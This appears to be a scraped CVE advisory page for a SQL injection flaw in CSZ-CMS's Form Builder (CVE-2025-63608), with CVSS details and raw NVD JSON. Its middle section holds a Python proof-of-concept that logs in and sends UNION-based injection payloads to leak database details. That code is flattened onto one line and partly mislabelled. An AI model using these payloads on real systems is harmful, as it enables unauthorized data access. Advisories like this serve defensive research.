Security Vulnerability Report
中文
CVE-2025-63608 CVSS 5.4 MEDIUM

CVE-2025-63608

Published: 2025-10-30 13:15:34
Last Modified: 2025-12-22 15:17:35

Description

A SQL injection vulnerability exists in CSZ-CMS <=1.3.0 in the Form Builder view functionality. The vulnerability is located in the field parameter of the form viewing feature, allowing authenticated administrators to execute arbitrary SQL queries.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cszcms:csz_cms:*:*:*:*:*:*:*:* - VULNERABLE
CSZ-CMS <= 1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63608 SQL Injection PoC for CSZ-CMS <= 1.3.0 # Target: CSZ-CMS Form Builder view functionality target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/cszcms" username = "admin" password = "admin123" session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/admin/login" login_data = { "username": username, "password": password } response = session.post(login_url, data=login_data) if "login" in response.url.lower(): print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Access Form Builder and inject SQL payload # The vulnerable parameter is 'field' in the form view functionality form_view_url = f"{target_url}/form_builder/view" # Basic SQL injection payload to extract database version payload = "1' UNION SELECT version()-- " injection_params = { "id": "1", "field": payload } response = session.get(form_view_url, params=injection_params) if "5." in response.text or "8." in response.text: print("[+] SQL Injection confirmed - Database version leaked") print(f"[+] Response snippet: {response.text[:500]}") else: print("[-] SQL Injection may not be successful, check manually") # Step 3: Extract database name payload_db = "1' UNION SELECT database()-- " injection_params["field"] = payload_db response = session.get(form_view_url, params=injection_params) print(f"[*] Database name enumeration response: {response.text[:500]}") # Step 4: Extract users table data (blind/time-based injection) payload_users = "1' AND (SELECT COUNT(*) FROM mysql.user) > 0-- " injection_params["field"] = payload_users response = session.get(form_view_url, params=injection_params) print(f"[*] User enumeration response: {response.text[:500]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63608", "sourceIdentifier": "[email protected]", "published": "2025-10-30T13:15:33.880", "lastModified": "2025-12-22T15:17:34.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL injection vulnerability exists in CSZ-CMS <=1.3.0 in the Form Builder view functionality. The vulnerability is located in the field parameter of the form viewing feature, allowing authenticated administrators to execute arbitrary SQL queries."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cszcms:csz_cms:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.3.0", "matchCriteriaId": "578549A3-E3A4-4AFD-ADEC-1CD47591E938"}]}]}], "references": [{"url": "https://github.com/Huu1j/CSZ_CMS-exploit/blob/main/csz-cms-vulnerability-analysis.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}